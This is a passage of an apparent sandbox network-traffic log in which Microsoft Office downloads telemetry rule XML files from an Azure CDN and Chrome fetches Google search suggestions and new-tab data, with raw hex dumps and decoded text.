2024-11-17 23:27:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:31 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:31 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232731Z-16547b76f7fsq6p7hC1DFWfx6800000003g0000000004qy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:31 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:31 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232731Z-16547b76f7fkz9l7hC1DFW35uc000000022g0000000096xg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:31 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232731Z-16547b76f7fht2hfhC1DFWbngg000000059000000000p81p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232733Z-1866b5c5fbbxjblthC1DFW6b4800000002v000000000m4kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232733Z-16547b76f7ftnm6xhC1DFW9c8c00000004kg00000000dna0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49789	216.58.206.68	443	7220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 23:27:33 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:33 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-d0czqckG43Y6R4H8B9hGag' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 23:27:33 UTC	112	IN	Data Raw: 33 30 38 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6c 61 6b 65 72 73 20 72 75 69 20 68 61 63 68 69 6d 75 72 61 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 61 6c 65 78 20 63 72 6f 73 73 20 73 65 61 73 6f 6e 20 32 22 2c 22 64 65 61 6c 73 20 62 6c Data Ascii: 308)]}'["",["lakers rui hachimura","aurora borealis northern lights forecast","alex cross season 2","deals bl
2024-11-17 23:27:33 UTC	671	IN	Data Raw: 61 63 6b 20 66 72 69 64 61 79 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6a 61 63 6b 70 6f 74 22 2c 22 70 61 75 6c 20 73 6b 65 6e 65 73 20 62 61 73 65 62 61 6c 6c 20 63 61 72 64 22 2c 22 72 65 64 20 6f 6e 65 20 6d 6f 76 69 65 20 62 6f 78 20 6f 66 66 69 63 65 22 2c 22 6e 6f 76 65 6d 62 65 72 20 32 30 32 34 20 73 75 70 65 72 6d 6f 6f 6e 20 70 68 6f 74 6f 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 Data Ascii: ack friday","powerball jackpot","paul skenes baseball card","red one movie box office","november 2024 supermoon photos"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u
2024-11-17 23:27:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2e3bf8b0-601e-005c-1103-36f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232733Z-1866b5c5fbbtpjhjhC1DFWr6tw00000004zg000000003zmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49792	216.58.206.68	443	7220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 23:27:33 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 23:27:33 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 23:27:33 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-17 23:27:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:33 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232733Z-16547b76f7fzwxm2hC1DFWt5hw00000002mg000000006mpk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:33 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:33 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232733Z-16547b76f7fzwxm2hC1DFWt5hw00000002h000000000fehf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:33 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49793	216.58.206.68	443	7220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:33 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 23:27:33 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: 